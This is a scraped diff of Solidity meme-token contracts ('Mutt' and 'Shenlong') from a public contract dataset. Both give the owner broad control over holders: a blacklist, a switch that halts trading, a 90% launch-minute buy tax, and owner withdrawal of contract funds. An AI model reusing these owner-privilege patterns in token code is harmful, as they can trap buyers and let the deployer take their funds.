else
|
484 |
+
liquidityBuyFees = !liquidityBuyFees;
|
485 |
+
}
|
486 |
+
|
487 |
+
function toggleTeamFees(bool sellFee) external onlyOwner {
|
488 |
+
if(sellFee)
|
489 |
+
teamSellFees = !teamSellFees;
|
490 |
+
else
|
491 |
+
teamBuyFees = !teamBuyFees;
|
492 |
+
}
|
493 |
+
|
494 |
+
function getSellFees() public view returns (uint256) {
|
495 |
+
uint256 _sf = 0;
|
496 |
+
if(marketingSellFees) _sf += 2;
|
497 |
+
if(liquiditySellFees) _sf += 1;
|
498 |
+
if(teamSellFees) _sf += 2;
|
499 |
+
return _sf;
|
500 |
+
}
|
501 |
+
|
502 |
+
function getBuyFees() public view returns (uint256) {
|
503 |
+
uint256 elapsed = block.timestamp - tradingActiveTime;
|
504 |
+
if(elapsed <= 1 minutes) {
|
505 |
+
uint256 taxReduced = (elapsed / 10) * 10;
|
506 |
+
if (taxReduced < 90)
|
507 |
+
return 90 - taxReduced;
|
508 |
+
}
|
509 |
+
|
510 |
+
uint256 _bf = 0;
|
511 |
+
if(marketingBuyFees) _bf += 2;
|
512 |
+
if(liquidityBuyFees) _bf += 2;
|
513 |
+
if(teamBuyFees) _bf += 2;
|
514 |
+
return _bf;
|
515 |
+
}
|
516 |
+
|
517 |
+
function excludeFromFees(address account, bool excluded) public onlyOwner {
|
518 |
+
_isExcludedFromFees[account] = excluded;
|
519 |
+
emit ExcludeFromFees(account, excluded);
|
520 |
+
}
|
521 |
+
|
522 |
+
function checkWalletLimit(address recipient, uint256 amount) internal view {
|
523 |
+
require(balanceOf(recipient) + amount <= maxWalletSize, "Transfer amount exceeds the bag size.");
|
524 |
+
}
|
525 |
+
|
526 |
+
function _transfer(
|
527 |
+
address from,
|
528 |
+
address to,
|
529 |
+
uint256 amount
|
530 |
+
) internal override {
|
531 |
+
require(from != address(0), "ERC20: transfer from the zero address");
|
532 |
+
require(to != address(0), "ERC20: transfer to the zero address");
|
533 |
+
require(amount > 0, "amount must be greater than 0");
|
534 |
+
|
535 |
+
if (tradingActiveTime > 0 && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
|
536 |
+
if (!pairs[to] && to != address(0xdead)) {
|
537 |
+
checkWalletLimit(to, amount);
|
538 |
+
}
|
539 |
+
|
540 |
+
uint256 fees = 0;
|
541 |
+
uint256 _sf = getSellFees();
|
542 |
+
uint256 _bf = getBuyFees();
|
543 |
+
|
544 |
+
if (swapEnabled && !swapping && pairs[to] && _bf + _sf > 0) {
|
545 |
+
swapping = true;
|
546 |
+
swapBack(amount);
|
547 |
+
swapping = false;
|
548 |
+
}
|
549 |
+
|
550 |
+
if (pairs[to] &&_sf > 0) {
|
551 |
+
fees = (amount * _sf) / 100;
|
552 |
+
}
|
553 |
+
else if (_bf > 0 && pairs[from]) {
|
554 |
+
fees = (amount * _bf) / 100;
|
555 |
+
}
|
556 |
+
|
557 |
+
if (fees > 0) {
|
558 |
+
super._transfer(from, address(this), fees);
|
559 |
+
}
|
560 |
+
|
561 |
+
amount -= fees;
|
562 |
+
}
|
563 |
+
|
564 |
+
super._transfer(from, to, amount);
|
565 |
+
}
|
566 |
+
|
567 |
+
function swapTokensForEth(uint256 tokenAmount) private {
|
568 |
+
// generate the uniswap pair path of token -> weth
|
569 |
+
address[] memory path = new address[](2);
|
570 |
+
path[0] = address(this);
|
571 |
+
path[1] = dexRouter.WETH();
|
572 |
+
|
573 |
+
// make the swap
|
574 |
+
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
575 |
+
tokenAmount,
|
576 |
+
0, // accept any amount of ETH
|
577 |
+
path,
|
578 |
+
address(this),
|
579 |
+
block.timestamp
|
580 |
+
);
|
581 |
+
}
|
582 |
+
|
583 |
+
function swapBack(uint256 amount) private {
|
584 |
+
uint256 amountToSwap = balanceOf(address(this));
|
585 |
+
if (amountToSwap < swapTokensAtAmount) return;
|
586 |
+
if (amountToSwap > swapTokensAtAmount * 10) amountToSwap = swapTokensAtAmount * 10;
|
587 |
+
if (amountToSwap > amount) amountToSwap = amount;
|
588 |
+
if (amountToSwap == 0) return;
|
589 |
+
|
590 |
+
uint256 _lpFee = (liquidityBuyFees ? 2 : 0) + (liquiditySellFees ? 2 : 0);
|
591 |
+
uint256 _mkFee = (marketingBuyFees ? 4 : 0) + (marketingSellFees ? 4 : 0);
|
592 |
+
uint256 _tmFee = (teamBuyFees ? 4 : 0) + (teamSellFees ? 4 : 0);
|
593 |
+
uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : _lpFee;
|
594 |
+
uint256 _totalFees = dynamicLiquidityFee + _mkFee + _tmFee;
|
595 |
+
uint256 amountToLiquify = ((amountToSwap * dynamicLiquidityFee) / _totalFees) / 2;
|
596 |
+
amountToSwap -= amountToLiquify;
|
597 |
+
|
598 |
+
bool success;
|
599 |
+
swapTokensForEth(amountToSwap);
|
600 |
+
|
601 |
+
uint256 ethBalance = address(this).balance;
|
602 |
+
|
603 |
+
_totalFees -= dynamicLiquidityFee / 2;
|
604 |
+
uint256 amountLiquidity = (ethBalance * dynamicLiquidityFee) / _totalFees / 2;
|
605 |
+
uint256 amountTeam = (ethBalance * _tmFee) / _totalFees;
|
606 |
+
|
607 |
+
if(amountLiquidity > 0) {
|
608 |
+
//Guaranteed swap desired to prevent trade blockages, return values ignored
|
609 |
+
dexRouter.addLiquidityETH{value: amountLiquidity}(
|
610 |
+
address(this),
|
611 |
+
amountToLiquify,
|
612 |
+
0,
|
613 |
+
0,
|
614 |
+
lpAddress,
|
615 |
+
block.timestamp
|
616 |
+
);
|
617 |
+
}
|
618 |
+
|
619 |
+
if(amountTeam > 0)
|
620 |
+
(success, ) = teamAddress.call{value: amountTeam}("");
|
621 |
+
|
622 |
+
(success, ) = taxAddress.call{value: address(this).balance}("");
|
623 |
+
}
|
624 |
+
|
625 |
+
// withdraw ETH if stuck or someone sends to the address
|
626 |
+
function withdrawStuckETH() external onlyOwner {
|
627 |
+
bool success;
|
628 |
+
(success, ) = address(msg.sender).call{value: address(this).balance}("");
|
629 |
+
}
|
630 |
+
|
631 |
+
function setTaxAddress(address _taxAddress) external onlyOwner {
|
632 |
+
require(_taxAddress != address(0), "_taxAddress address cannot be 0");
|
633 |
+
taxAddress = _taxAddress;
|
634 |
+
}
|
635 |
+
|
636 |
+
function setLPAddress(address _lpAddress) external onlyOwner {
|
637 |
+
require(_lpAddress != address(0), "_lpAddress address cannot be 0");
|
638 |
+
lpAddress = _lpAddress;
|
639 |
+
}
|
640 |
+
|
641 |
+
function setTeamAddress(address _teamAddress) external onlyOwner {
|
642 |
+
require(_teamAddress != address(0), "_teamAddress address cannot be 0");
|
643 |
+
teamAddress = _teamAddress;
|
644 |
+
}
|
645 |
+
|
646 |
+
function launch(address lpOwner) external payable onlyOwner {
|
647 |
+
require(tradingActiveTime == 0);
|
648 |
+
|
649 |
+
lpPair = IDexFactory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
|
650 |
+
pairs[lpPair] = true;
|
651 |
+
|
652 |
+
dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,lpOwner,block.timestamp);
|
653 |
+
}
|
654 |
+
|
655 |
+
function tradingActive() external onlyOwner {
|
656 |
+
require(tradingActiveTime == 0);
|
657 |
+
tradingActiveTime = block.timestamp;
|
658 |
+
}
|
659 |
+
|
660 |
+
function setTargetLiquidity(uint256 _target, uint256 _denominator) external onlyOwner {
|
661 |
+
targetLiquidity = _target;
|
662 |
+
targetLiquidityDenominator = _denominator;
|
663 |
+
emit TargetLiquiditySet(_target * 100 / _denominator);
|
664 |
+
}
|
665 |
+
|
666 |
+
function getCirculatingSupply() public view returns (uint256) {
|
667 |
+
return totalSupply() - (balanceOf(address(0xdead)) + balanceOf(address(0)));
|
668 |
+
}
|
669 |
+
|
670 |
+
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
|
671 |
+
return (accuracy * balanceOf(lpPair)) / getCirculatingSupply();
|
672 |
+
}
|
673 |
+
|
674 |
+
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
|
675 |
+
return getLiquidityBacking(accuracy) > target;
|
676 |
+
}
|
677 |
+
|
678 |
+
function setMaxWallet(uint256 percent) external onlyOwner() {
|
679 |
+
require(percent > 0);
|
680 |
+
maxWalletSize = (getCirculatingSupply() * percent) / 100;
|
681 |
+
}
|
682 |
+
|
683 |
+
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
|
684 |
+
require(newAmount >= getCirculatingSupply() / 100000, "Swap amount cannot be lower than 0.001% total supply.");
|
685 |
+
require(newAmount <= getCirculatingSupply() / 1000, "Swap amount cannot be higher than 0.1% total supply.");
|
686 |
+
swapTokensAtAmount = newAmount;
|
687 |
+
}
|
688 |
+
}
|
organized_contracts/00/00058603e57d90f2a3b70bb2828be60bf0128a8b7007434e6f40e4812903f28c/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"Mutt","CompilerVersion":"v0.8.19+commit.7dd6d404","Runs":200,"OptimizationUsed":true,"BytecodeHash":"00058603e57d90f2a3b70bb2828be60bf0128a8b7007434e6f40e4812903f28c"}
|
organized_contracts/00/0005a63e9ae973fafe53fb4de518e235c6d4f746d5f135a885b1bcdf833d4c20/main.sol
ADDED
@@ -0,0 +1,595 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
/*
|
4 |
+
|
5 |
+
|
6 |
+
The three desires of anybody who meets me will come true.
|
7 |
+
Everything that flies to the moon(月) is under my control,
|
8 |
+
and even the storms and rain are subservient to me.
|
9 |
+
|
10 |
+
|
11 |
+
|
12 |
+
*/
|
13 |
+
|
14 |
+
|
15 |
+
|
16 |
+
// SPDX-License-Identifier: Unlicensed
|
17 |
+
pragma solidity ^0.8.9;
|
18 |
+
|
19 |
+
abstract contract Context {
|
20 |
+
function _msgSender() internal view virtual returns (address) {
|
21 |
+
return msg.sender;
|
22 |
+
}
|
23 |
+
}
|
24 |
+
|
25 |
+
interface IERC20 {
|
26 |
+
function totalSupply() external view returns (uint256);
|
27 |
+
|
28 |
+
function balanceOf(address account) external view returns (uint256);
|
29 |
+
|
30 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
31 |
+
|
32 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
33 |
+
|
34 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
35 |
+
|
36 |
+
function transferFrom(
|
37 |
+
address sender,
|
38 |
+
address recipient,
|
39 |
+
uint256 amount
|
40 |
+
) external returns (bool);
|
41 |
+
|
42 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
43 |
+
event Approval(
|
44 |
+
address indexed owner,
|
45 |
+
address indexed spender,
|
46 |
+
uint256 value
|
47 |
+
);
|
48 |
+
}
|
49 |
+
|
50 |
+
contract Ownable is Context {
|
51 |
+
address private _owner;
|
52 |
+
address private _previousOwner;
|
53 |
+
event OwnershipTransferred(
|
54 |
+
address indexed previousOwner,
|
55 |
+
address indexed newOwner
|
56 |
+
);
|
57 |
+
|
58 |
+
constructor() {
|
59 |
+
address msgSender = _msgSender();
|
60 |
+
_owner = msgSender;
|
61 |
+
emit OwnershipTransferred(address(0), msgSender);
|
62 |
+
}
|
63 |
+
|
64 |
+
function owner() public view returns (address) {
|
65 |
+
return _owner;
|
66 |
+
}
|
67 |
+
|
68 |
+
modifier onlyOwner() {
|
69 |
+
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
70 |
+
_;
|
71 |
+
}
|
72 |
+
|
73 |
+
function renounceOwnership() public virtual onlyOwner {
|
74 |
+
emit OwnershipTransferred(_owner, address(0));
|
75 |
+
_owner = address(0);
|
76 |
+
}
|
77 |
+
|
78 |
+
function transferOwnership(address newOwner) public virtual onlyOwner {
|
79 |
+
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
80 |
+
emit OwnershipTransferred(_owner, newOwner);
|
81 |
+
_owner = newOwner;
|
82 |
+
}
|
83 |
+
|
84 |
+
}
|
85 |
+
|
86 |
+
library SafeMath {
|
87 |
+
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
88 |
+
uint256 c = a + b;
|
89 |
+
require(c >= a, "SafeMath: addition overflow");
|
90 |
+
return c;
|
91 |
+
}
|
92 |
+
|
93 |
+
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
94 |
+
return sub(a, b, "SafeMath: subtraction overflow");
|
95 |
+
}
|
96 |
+
|
97 |
+
function sub(
|
98 |
+
uint256 a,
|
99 |
+
uint256 b,
|
100 |
+
string memory errorMessage
|
101 |
+
) internal pure returns (uint256) {
|
102 |
+
require(b <= a, errorMessage);
|
103 |
+
uint256 c = a - b;
|
104 |
+
return c;
|
105 |
+
}
|
106 |
+
|
107 |
+
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
108 |
+
if (a == 0) {
|
109 |
+
return 0;
|
110 |
+
}
|
111 |
+
uint256 c = a * b;
|
112 |
+
require(c / a == b, "SafeMath: multiplication overflow");
|
113 |
+
return c;
|
114 |
+
}
|
115 |
+
|
116 |
+
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
117 |
+
return div(a, b, "SafeMath: division by zero");
|
118 |
+
}
|
119 |
+
|
120 |
+
function div(
|
121 |
+
uint256 a,
|
122 |
+
uint256 b,
|
123 |
+
string memory errorMessage
|
124 |
+
) internal pure returns (uint256) {
|
125 |
+
require(b > 0, errorMessage);
|
126 |
+
uint256 c = a / b;
|
127 |
+
return c;
|
128 |
+
}
|
129 |
+
}
|
130 |
+
|
131 |
+
interface IUniswapV2Factory {
|
132 |
+
function createPair(address tokenA, address tokenB)
|
133 |
+
external
|
134 |
+
returns (address pair);
|
135 |
+
}
|
136 |
+
|
137 |
+
interface IUniswapV2Router02 {
|
138 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
139 |
+
uint256 amountIn,
|
140 |
+
uint256 amountOutMin,
|
141 |
+
address[] calldata path,
|
142 |
+
address to,
|
143 |
+
uint256 deadline
|
144 |
+
) external;
|
145 |
+
|
146 |
+
function factory() external pure returns (address);
|
147 |
+
|
148 |
+
function WETH() external pure returns (address);
|
149 |
+
|
150 |
+
function addLiquidityETH(
|
151 |
+
address token,
|
152 |
+
uint256 amountTokenDesired,
|
153 |
+
uint256 amountTokenMin,
|
154 |
+
uint256 amountETHMin,
|
155 |
+
address to,
|
156 |
+
uint256 deadline
|
157 |
+
)
|
158 |
+
external
|
159 |
+
payable
|
160 |
+
returns (
|
161 |
+
uint256 amountToken,
|
162 |
+
uint256 amountETH,
|
163 |
+
uint256 liquidity
|
164 |
+
);
|
165 |
+
}
|
166 |
+
|
167 |
+
contract Shenlong is Context, IERC20, Ownable {
|
168 |
+
|
169 |
+
using SafeMath for uint256;
|
170 |
+
|
171 |
+
string private constant _name = "Shenlong";
|
172 |
+
string private constant _symbol = unicode"🐲";
|
173 |
+
uint8 private constant _decimals = 9;
|
174 |
+
|
175 |
+
mapping(address => uint256) private _rOwned;
|
176 |
+
mapping(address => uint256) private _tOwned;
|
177 |
+
mapping(address => mapping(address => uint256)) private _allowances;
|
178 |
+
mapping(address => bool) private _isExcludedFromFee;
|
179 |
+
uint256 private constant MAX = ~uint256(0);
|
180 |
+
uint256 private constant _tTotal = 10000000 * 10**9;
|
181 |
+
uint256 private _rTotal = (MAX - (MAX % _tTotal));
|
182 |
+
uint256 private _tFeeTotal;
|
183 |
+
|
184 |
+
// Taxes
|
185 |
+
uint256 private _redisFeeOnBuy = 0;
|
186 |
+
uint256 private _taxFeeOnBuy = 0;
|
187 |
+
uint256 private _redisFeeOnSell = 0;
|
188 |
+
uint256 private _taxFeeOnSell = 0;
|
189 |
+
|
190 |
+
//Original Fee
|
191 |
+
uint256 private _redisFee = _redisFeeOnSell;
|
192 |
+
uint256 private _taxFee = _taxFeeOnSell;
|
193 |
+
|
194 |
+
uint256 private _previousredisFee = _redisFee;
|
195 |
+
uint256 private _previoustaxFee = _taxFee;
|
196 |
+
|
197 |
+
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
|
198 |
+
address payable private _developmentAddress = payable(0x6a3c902fE53502c33D95A4bd634f421C00086Ae5);
|
199 |
+
address payable private _marketingAddress = payable(0x6a3c902fE53502c33D95A4bd634f421C00086Ae5);
|
200 |
+
|
201 |
+
IUniswapV2Router02 public uniswapV2Router;
|
202 |
+
address public uniswapV2Pair;
|
203 |
+
|
204 |
+
bool private tradingOpen = true;
|
205 |
+
bool private inSwap = false;
|
206 |
+
bool private swapEnabled = true;
|
207 |
+
|
208 |
+
uint256 public _maxTxAmount = 100000 * 10**9; // 1%
|
209 |
+
uint256 public _maxWalletSize = 100000 * 10**9; // 1%
|
210 |
+
uint256 public _swapTokensAtAmount = 15000 * 10**9; // .15%
|
211 |
+
|
212 |
+
event MaxTxAmountUpdated(uint256 _maxTxAmount);
|
213 |
+
modifier lockTheSwap {
|
214 |
+
inSwap = true;
|
215 |
+
_;
|
216 |
+
inSwap = false;
|
217 |
+
}
|
218 |
+
|
219 |
+
constructor() {
|
220 |
+
|
221 |
+
_rOwned[_msgSender()] = _rTotal;
|
222 |
+
|
223 |
+
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
|
224 |
+
uniswapV2Router = _uniswapV2Router;
|
225 |
+
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
|
226 |
+
.createPair(address(this), _uniswapV2Router.WETH());
|
227 |
+
|
228 |
+
_isExcludedFromFee[owner()] = true;
|
229 |
+
_isExcludedFromFee[address(this)] = true;
|
230 |
+
_isExcludedFromFee[_developmentAddress] = true;
|
231 |
+
_isExcludedFromFee[_marketingAddress] = true;
|
232 |
+
|
233 |
+
emit Transfer(address(0), _msgSender(), _tTotal);
|
234 |
+
}
|
235 |
+
|
236 |
+
function name() public pure returns (string memory) {
|
237 |
+
return _name;
|
238 |
+
}
|
239 |
+
|
240 |
+
function symbol() public pure returns (string memory) {
|
241 |
+
return _symbol;
|
242 |
+
}
|
243 |
+
|
244 |
+
function decimals() public pure returns (uint8) {
|
245 |
+
return _decimals;
|
246 |
+
}
|
247 |
+
|
248 |
+
function totalSupply() public pure override returns (uint256) {
|
249 |
+
return _tTotal;
|
250 |
+
}
|
251 |
+
|
252 |
+
function balanceOf(address account) public view override returns (uint256) {
|
253 |
+
return tokenFromReflection(_rOwned[account]);
|
254 |
+
}
|
255 |
+
|
256 |
+
function transfer(address recipient, uint256 amount)
|
257 |
+
public
|
258 |
+
override
|
259 |
+
returns (bool)
|
260 |
+
{
|
261 |
+
_transfer(_msgSender(), recipient, amount);
|
262 |
+
return true;
|
263 |
+
}
|
264 |
+
|
265 |
+
function allowance(address owner, address spender)
|
266 |
+
public
|
267 |
+
view
|
268 |
+
override
|
269 |
+
returns (uint256)
|
270 |
+
{
|
271 |
+
return _allowances[owner][spender];
|
272 |
+
}
|
273 |
+
|
274 |
+
function approve(address spender, uint256 amount)
|
275 |
+
public
|
276 |
+
override
|
277 |
+
returns (bool)
|
278 |
+
{
|
279 |
+
_approve(_msgSender(), spender, amount);
|
280 |
+
return true;
|
281 |
+
}
|
282 |
+
|
283 |
+
function transferFrom(
|
284 |
+
address sender,
|
285 |
+
address recipient,
|
286 |
+
uint256 amount
|
287 |
+
) public override returns (bool) {
|
288 |
+
_transfer(sender, recipient, amount);
|
289 |
+
_approve(
|
290 |
+
sender,
|
291 |
+
_msgSender(),
|
292 |
+
_allowances[sender][_msgSender()].sub(
|
293 |
+
amount,
|
294 |
+
"ERC20: transfer amount exceeds allowance"
|
295 |
+
)
|
296 |
+
);
|
297 |
+
return true;
|
298 |
+
}
|
299 |
+
|
300 |
+
function tokenFromReflection(uint256 rAmount)
|
301 |
+
private
|
302 |
+
view
|
303 |
+
returns (uint256)
|
304 |
+
{
|
305 |
+
require(
|
306 |
+
rAmount <= _rTotal,
|
307 |
+
"Amount must be less than total reflections"
|
308 |
+
);
|
309 |
+
uint256 currentRate = _getRate();
|
310 |
+
return rAmount.div(currentRate);
|
311 |
+
}
|
312 |
+
|
313 |
+
function removeAllFee() private {
|
314 |
+
if (_redisFee == 0 && _taxFee == 0) return;
|
315 |
+
|
316 |
+
_previousredisFee = _redisFee;
|
317 |
+
_previoustaxFee = _taxFee;
|
318 |
+
|
319 |
+
_redisFee = 0;
|
320 |
+
_taxFee = 0;
|
321 |
+
}
|
322 |
+
|
323 |
+
function restoreAllFee() private {
|
324 |
+
_redisFee = _previousredisFee;
|
325 |
+
_taxFee = _previoustaxFee;
|
326 |
+
}
|
327 |
+
|
328 |
+
function _approve(
|
329 |
+
address owner,
|
330 |
+
address spender,
|
331 |
+
uint256 amount
|
332 |
+
) private {
|
333 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
334 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
335 |
+
_allowances[owner][spender] = amount;
|
336 |
+
emit Approval(owner, spender, amount);
|
337 |
+
}
|
338 |
+
|
339 |
+
function _transfer(
|
340 |
+
address from,
|
341 |
+
address to,
|
342 |
+
uint256 amount
|
343 |
+
) private {
|
344 |
+
require(from != address(0), "ERC20: transfer from the zero address");
|
345 |
+
require(to != address(0), "ERC20: transfer to the zero address");
|
346 |
+
require(amount > 0, "Transfer amount must be greater than zero");
|
347 |
+
|
348 |
+
if (from != owner() && to != owner()) {
|
349 |
+
|
350 |
+
//Trade start check
|
351 |
+
if (!tradingOpen) {
|
352 |
+
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
|
353 |
+
}
|
354 |
+
|
355 |
+
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
|
356 |
+
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
|
357 |
+
|
358 |
+
if(to != uniswapV2Pair) {
|
359 |
+
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
|
360 |
+
}
|
361 |
+
|
362 |
+
uint256 contractTokenBalance = balanceOf(address(this));
|
363 |
+
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
|
364 |
+
|
365 |
+
if(contractTokenBalance >= _maxTxAmount)
|
366 |
+
{
|
367 |
+
contractTokenBalance = _maxTxAmount;
|
368 |
+
}
|
369 |
+
|
370 |
+
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
|
371 |
+
swapTokensForEth(contractTokenBalance);
|
372 |
+
uint256 contractETHBalance = address(this).balance;
|
373 |
+
if (contractETHBalance > 0) {
|
374 |
+
sendETHToFee(address(this).balance);
|
375 |
+
}
|
376 |
+
}
|
377 |
+
}
|
378 |
+
|
379 |
+
bool takeFee = true;
|
380 |
+
|
381 |
+
//Transfer Tokens
|
382 |
+
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
|
383 |
+
takeFee = false;
|
384 |
+
} else {
|
385 |
+
|
386 |
+
//Set Fee for Buys
|
387 |
+
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
|
388 |
+
_redisFee = _redisFeeOnBuy;
|
389 |
+
_taxFee = _taxFeeOnBuy;
|
390 |
+
}
|
391 |
+
|
392 |
+
//Set Fee for Sells
|
393 |
+
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
|
394 |
+
_redisFee = _redisFeeOnSell;
|
395 |
+
_taxFee = _taxFeeOnSell;
|
396 |
+
}
|
397 |
+
|
398 |
+
}
|
399 |
+
|
400 |
+
_tokenTransfer(from, to, amount, takeFee);
|
401 |
+
}
|
402 |
+
|
403 |
+
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
|
404 |
+
address[] memory path = new address[](2);
|
405 |
+
path[0] = address(this);
|
406 |
+
path[1] = uniswapV2Router.WETH();
|
407 |
+
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
408 |
+
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
409 |
+
tokenAmount,
|
410 |
+
0,
|
411 |
+
path,
|
412 |
+
address(this),
|
413 |
+
block.timestamp
|
414 |
+
);
|
415 |
+
}
|
416 |
+
|
417 |
+
function sendETHToFee(uint256 amount) private {
|
418 |
+
_marketingAddress.transfer(amount);
|
419 |
+
}
|
420 |
+
|
421 |
+
function setTrading(bool _tradingOpen) public onlyOwner {
|
422 |
+
tradingOpen = _tradingOpen;
|
423 |
+
}
|
424 |
+
|
425 |
+
function manualswap() external {
|
426 |
+
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
|
427 |
+
uint256 contractBalance = balanceOf(address(this));
|
428 |
+
swapTokensForEth(contractBalance);
|
429 |
+
}
|
430 |
+
|
431 |
+
function manualsend() external {
|
432 |
+
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
|
433 |
+
